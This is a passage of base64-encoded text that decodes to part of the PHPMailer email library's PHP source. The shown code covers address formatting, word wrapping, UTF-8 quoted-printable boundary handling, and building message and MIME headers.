gaWYgbGFuZ3VhZ2Ugbm90IGZvdW5kCiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIGFycmF5IG9mIHN0cmluZ3MgZm9yIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VHJhbnNsYXRpb25zKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhbmd1YWdlOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIHJlY2lwaWVudCBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUKICAgICAqIEBwYXJhbSBhcnJheSAkYWRkciBBbiBhcnJheSBvZiByZWNpcGllbnQsCiAgICAgKiB3aGVyZSBlYWNoIHJlY2lwaWVudCBpcyBhIDItZWxlbWVudCBpbmRleGVkIGFycmF5IHdpdGggZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcwogICAgICogYW5kIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZSwgbGlrZToKICAgICAqIGFycmF5KGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKSwgYXJyYXkoJ3pvZUBleGFtcGxlLmNvbScsICdab2UgVXNlcicpKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJBcHBlbmQoJHR5cGUsICRhZGRyKQogICAgewogICAgICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRhZGRyIGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0eXBlIC4gJzogJyAuIGltcGxvZGUoJywgJywgJGFkZHJlc3NlcykgLiAkdGhpcy0+TEU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYW4gYWRkcmVzcyBmb3IgdXNlIGluIGEgbWVzc2FnZSBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIGFycmF5ICRhZGRyIEEgMi1lbGVtZW50IGluZGV4ZWQgYXJyYXksIGVsZW1lbnQgMCBjb250YWluaW5nIGFuIGFkZHJlc3MsIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZQogICAgICogICAgICBsaWtlIGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJGb3JtYXQoJGFkZHIpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRhZGRyWzFdKSkgeyAvLyBObyBuYW1lIHByb3ZpZGVkCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzBdKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzFdKSwgJ3BocmFzZScpIC4gJyA8JyAuICR0aGlzLT5zZWN1cmVIZWFkZXIoCiAgICAgICAgICAgICAgICAkYWRkclswXQogICAgICAgICAgICApIC4gJz4nOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFdvcmQtd3JhcCBtZXNzYWdlLgogICAgICogRm9yIHVzZSB3aXRoIG1haWxlcnMgdGhhdCBkbyBub3QgYXV0b21hdGljYWxseSBwZXJmb3JtIHdyYXBwaW5nCiAgICAgKiBhbmQgZm9yIHF1b3RlZC1wcmludGFibGUgZW5jb2RlZCBtZXNzYWdlcy4KICAgICAqIE9yaWdpbmFsIHdyaXR0ZW4gYnkgcGhpbGlwcGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlIFRoZSBtZXNzYWdlIHRvIHdyYXAKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsZW5ndGggVGhlIGxpbmUgbGVuZ3RoIHRvIHdyYXAgdG8KICAgICAqIEBwYXJhbSBib29sZWFuICRxcF9tb2RlIFdoZXRoZXIgdG8gcnVuIGluIFF1b3RlZC1QcmludGFibGUgbW9kZQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB3cmFwVGV4dCgkbWVzc2FnZSwgJGxlbmd0aCwgJHFwX21vZGUgPSBmYWxzZSkKICAgIHsKICAgICAgICBpZiAoJHFwX21vZGUpIHsKICAgICAgICAgICAgJHNvZnRfYnJlYWsgPSBzcHJpbnRmKCcgPSVzJywgJHRoaXMtPkxFKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkc29mdF9icmVhayA9ICR0aGlzLT5MRTsKICAgICAgICB9CiAgICAgICAgLy8gSWYgdXRmLTggZW5jb2RpbmcgaXMgdXNlZCwgd2Ugd2lsbCBuZWVkIHRvIG1ha2Ugc3VyZSB3ZSBkb24ndAogICAgICAgIC8vIHNwbGl0IG11bHRpYnl0ZSBjaGFyYWN0ZXJzIHdoZW4gd2Ugd3JhcAogICAgICAgICRpc191dGY4ID0gKHN0cnRvbG93ZXIoJHRoaXMtPkNoYXJTZXQpID09ICd1dGYtOCcpOwogICAgICAgICRsZWxlbiA9IHN0cmxlbigkdGhpcy0+TEUpOwogICAgICAgICRjcmxmbGVuID0gc3RybGVuKHNlbGY6OkNSTEYpOwoKICAgICAgICAkbWVzc2FnZSA9ICR0aGlzLT5maXhFT0woJG1lc3NhZ2UpOwogICAgICAgIC8vUmVtb3ZlIGEgdHJhaWxpbmcgbGluZSBicmVhawogICAgICAgIGlmIChzdWJzdHIoJG1lc3NhZ2UsIC0kbGVsZW4pID09ICR0aGlzLT5MRSkgewogICAgICAgICAgICAkbWVzc2FnZSA9IHN1YnN0cigkbWVzc2FnZSwgMCwgLSRsZWxlbik7CiAgICAgICAgfQoKICAgICAgICAvL1NwbGl0IG1lc3NhZ2UgaW50byBsaW5lcwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7CiAgICAgICAgLy9NZXNzYWdlIHdpbGwgYmUgcmVidWlsdCBpbiBoZXJlCiAgICAgICAgJG1lc3NhZ2UgPSAnJzsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsKICAgICAgICAgICAgJHdvcmRzID0gZXhwbG9kZSgnICcsICRsaW5lKTsKICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAkZmlyc3R3b3JkID0gdHJ1ZTsKICAgICAgICAgICAgZm9yZWFjaCAoJHdvcmRzIGFzICR3b3JkKSB7CiAgICAgICAgICAgICAgICBpZiAoJHFwX21vZGUgYW5kIChzdHJsZW4oJHdvcmQpID4gJGxlbmd0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkc3BhY2VfbGVmdCA9ICRsZW5ndGggLSBzdHJsZW4oJGJ1ZikgLSAkY3JsZmxlbjsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmaXJzdHdvcmQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcGFjZV9sZWZ0ID4gMjApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+dXRmOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDIsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnIC4gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsZW5ndGggPD0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICRsZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGVuIC09IDI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOwogICAgICAgICAgICAgICAgICAgICAgICAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRwYXJ0IC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRidWZfbyA9ICRidWY7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlyc3R3b3JkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYnVmIC49ICR3b3JkOwoKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRidWYpID4gJGxlbmd0aCBhbmQgJGJ1Zl9vICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWZfbyAuICRzb2Z0X2JyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHdvcmQ7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZpcnN0d29yZCA9IGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzZWxmOjpDUkxGOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQoKICAgIC8qKgogICAgICogRmluZCB0aGUgbGFzdCBjaGFyYWN0ZXIgYm91bmRhcnkgcHJpb3IgdG8gJG1heExlbmd0aCBpbiBhIHV0Zi04CiAgICAgKiBxdW90ZWQtcHJpbnRhYmxlIGVuY29kZWQgc3RyaW5nLgogICAgICogT3JpZ2luYWwgd3JpdHRlbiBieSBDb2xpbiBCcm93bi4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGVkVGV4dCB1dGYtOCBRUCB0ZXh0CiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbWF4TGVuZ3RoIEZpbmQgdGhlIGxhc3QgY2hhcmFjdGVyIGJvdW5kYXJ5IHByaW9yIHRvIHRoaXMgbGVuZ3RoCiAgICAgKiBAcmV0dXJuIGludGVnZXIKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHV0ZjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKQogICAgewogICAgICAgICRmb3VuZFNwbGl0UG9zID0gZmFsc2U7CiAgICAgICAgJGxvb2tCYWNrID0gMzsKICAgICAgICB3aGlsZSAoISRmb3VuZFNwbGl0UG9zKSB7CiAgICAgICAgICAgICRsYXN0Q2h1bmsgPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrLCAkbG9va0JhY2spOwogICAgICAgICAgICAkZW5jb2RlZENoYXJQb3MgPSBzdHJwb3MoJGxhc3RDaHVuaywgJz0nKTsKICAgICAgICAgICAgaWYgKGZhbHNlICE9PSAkZW5jb2RlZENoYXJQb3MpIHsKICAgICAgICAgICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KICAgICAgICAgICAgICAgIC8vIENoZWNrIHRoZSBlbmNvZGVkIGJ5dGUgdmFsdWUgKHRoZSAyIGNoYXJzIGFmdGVyIHRoZSAnPScpCiAgICAgICAgICAgICAgICAkaGV4ID0gc3Vic3RyKCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCAtICRsb29rQmFjayArICRlbmNvZGVkQ2hhclBvcyArIDEsIDIpOwogICAgICAgICAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICAgICAgICAgIGlmICgkZGVjIDwgMTI4KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gU2luZ2xlIGJ5dGUgY2hhcmFjdGVyLgogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoZSBlbmNvZGVkIGNoYXIgd2FzIGZvdW5kIGF0IHBvcyAwLCBpdCB3aWxsIGZpdAogICAgICAgICAgICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICAgICAgICAgICBpZiAoJGVuY29kZWRDaGFyUG9zID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoID0gJG1heExlbmd0aCAtICgkbG9va0JhY2sgLSAkZW5jb2RlZENoYXJQb3MpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA+PSAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBGaXJzdCBieXRlIG9mIGEgbXVsdGkgYnl0ZSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICAgICAvLyBSZWR1Y2UgbWF4TGVuZ3RoIHRvIHNwbGl0IGF0IHN0YXJ0IG9mIGNoYXJhY3RlcgogICAgICAgICAgICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkZWMgPCAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBNaWRkbGUgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyLCBsb29rIGZ1cnRoZXIgYmFjawogICAgICAgICAgICAgICAgICAgICRsb29rQmFjayArPSAzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gTm8gZW5jb2RlZCBjaGFyYWN0ZXIgZm91bmQKICAgICAgICAgICAgICAgICRmb3VuZFNwbGl0UG9zID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJG1heExlbmd0aDsKICAgIH0KCiAgICAvKioKICAgICAqIEFwcGx5IHdvcmQgd3JhcHBpbmcgdG8gdGhlIG1lc3NhZ2UgYm9keS4KICAgICAqIFdyYXBzIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhlIG51bWJlciBvZiBjaGFycyBzZXQgaW4gdGhlIFdvcmRXcmFwIHByb3BlcnR5LgogICAgICogWW91IHNob3VsZCBvbmx5IGRvIHRoaXMgdG8gcGxhaW4tdGV4dCBib2RpZXMgYXMgd3JhcHBpbmcgSFRNTCB0YWdzIG1heSBicmVhayB0aGVtLgogICAgICogVGhpcyBpcyBjYWxsZWQgYXV0b21hdGljYWxseSBieSBjcmVhdGVCb2R5KCksIHNvIHlvdSBkb24ndCBuZWVkIHRvIGNhbGwgaXQgeW91cnNlbGYuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRXb3JkV3JhcCgpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5Xb3JkV3JhcCA8IDEpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICBjYXNlICdhbHRfYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+d3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5Cb2R5ID0gJHRoaXMtPndyYXBUZXh0KCR0aGlzLT5Cb2R5LCAkdGhpcy0+V29yZFdyYXApOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogQXNzZW1ibGUgbWVzc2FnZSBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBhc3NlbWJsZWQgaGVhZGVycwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlSGVhZGVyKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CgogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0RhdGUnLCAkdGhpcy0+TWVzc2FnZURhdGUgPT0gJycgPyBzZWxmOjpyZmNEYXRlKCkgOiAkdGhpcy0+TWVzc2FnZURhdGUpOwoKICAgICAgICAvLyBUbyBiZSBjcmVhdGVkIGF1dG9tYXRpY2FsbHkgYnkgbWFpbCgpCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT50byBhcyAkdG9hZGRyKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCR0b2FkZHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdUbycsICR0aGlzLT50byk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmIChjb3VudCgkdGhpcy0+Y2MpID09IDApIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdGcm9tJywgYXJyYXkoYXJyYXkodHJpbSgkdGhpcy0+RnJvbSksICR0aGlzLT5Gcm9tTmFtZSkpKTsKCiAgICAgICAgLy8gc2VuZG1haWwgYW5kIG1haWwoKSBleHRyYWN0IENjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmIChjb3VudCgkdGhpcy0+Y2MpID4gMCkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdDYycsICR0aGlzLT5jYyk7CiAgICAgICAgfQoKICAgICAgICAvLyBzZW5kbWFpbCBhbmQgbWFpbCgpIGV4dHJhY3QgQmNjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmICgoCiAgICAgICAgICAgICAgICAkdGhpcy0+TWFpbGVyID09ICdzZW5kbWFpbCcgb3IgJHRoaXMtPk1haWxlciA9PSAncW1haWwnIG9yICR0aGlzLT5NYWlsZXIgPT0gJ21haWwnCiAgICAgICAgICAgICkKICAgICAgICAgICAgYW5kIGNvdW50KCR0aGlzLT5iY2MpID4gMAogICAgICAgICkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdCY2MnLCAkdGhpcy0+YmNjKTsKICAgICAgICB9CgogICAgICAgIGlmIChjb3VudCgkdGhpcy0+UmVwbHlUbykgPiAwKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1JlcGx5LVRvJywgJHRoaXMtPlJlcGx5VG8pOwogICAgICAgIH0KCiAgICAgICAgLy8gbWFpbCgpIHNldHMgdGhlIHN1YmplY3QgaXRzZWxmCiAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1N1YmplY3QnLCAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSk7CiAgICAgICAgfQoKICAgICAgICAvLyBPbmx5IGFsbG93IGEgY3VzdG9tIG1lc3NhZ2UgSUQgaWYgaXQgY29uZm9ybXMgdG8gUkZDIDUzMjIgc2VjdGlvbiAzLjYuNAogICAgICAgIC8vIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIyI3NlY3Rpb24tMy42LjQKICAgICAgICBpZiAoJycgIT0gJHRoaXMtPk1lc3NhZ2VJRCBhbmQgcHJlZ19tYXRjaCgnL148LipALio+JC8nLCAkdGhpcy0+TWVzc2FnZUlEKSkgewogICAgICAgICAgICAkdGhpcy0+bGFzdE1lc3NhZ2VJRCA9ICR0aGlzLT5NZXNzYWdlSUQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSBzcHJpbnRmKCc8JXNAJXM+JywgJHRoaXMtPnVuaXF1ZWlkLCAkdGhpcy0+c2VydmVySG9zdG5hbWUoKSk7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01lc3NhZ2UtSUQnLCAkdGhpcy0+bGFzdE1lc3NhZ2VJRCk7CiAgICAgICAgaWYgKCFpc19udWxsKCR0aGlzLT5Qcmlvcml0eSkpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnWC1Qcmlvcml0eScsICR0aGlzLT5Qcmlvcml0eSk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+WE1haWxlciA9PSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKAogICAgICAgICAgICAgICAgJ1gtTWFpbGVyJywKICAgICAgICAgICAgICAgICdQSFBNYWlsZXIgJyAuICR0aGlzLT5WZXJzaW9uIC4gJyAoaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIpJwogICAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRteVhtYWlsZXIgPSB0cmltKCR0aGlzLT5YTWFpbGVyKTsKICAgICAgICAgICAgaWYgKCRteVhtYWlsZXIpIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1gtTWFpbGVyJywgJG15WG1haWxlcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAhPSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdEaXNwb3NpdGlvbi1Ob3RpZmljYXRpb24tVG8nLCAnPCcgLiAkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAuICc+Jyk7CiAgICAgICAgfQoKICAgICAgICAvLyBBZGQgY3VzdG9tIGhlYWRlcnMKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Q3VzdG9tSGVhZGVyIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgKICAgICAgICAgICAgICAgIHRyaW0oJGhlYWRlclswXSksCiAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKHRyaW0oJGhlYWRlclsxXSkpCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnNpZ25fa2V5X2ZpbGUpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnTUlNRS1WZXJzaW9uJywgJzEuMCcpOwogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5nZXRNYWlsTUlNRSgpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIG1lc3NhZ2UgTUlNRSB0eXBlIGhlYWRlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldE1haWxNSU1FKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgJGlzbXVsdGlwYXJ0ID0gdHJ1ZTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsxXSAuICciJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L21peGVkOycpOwogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gJyInKTsKICAgICAgICAgICAg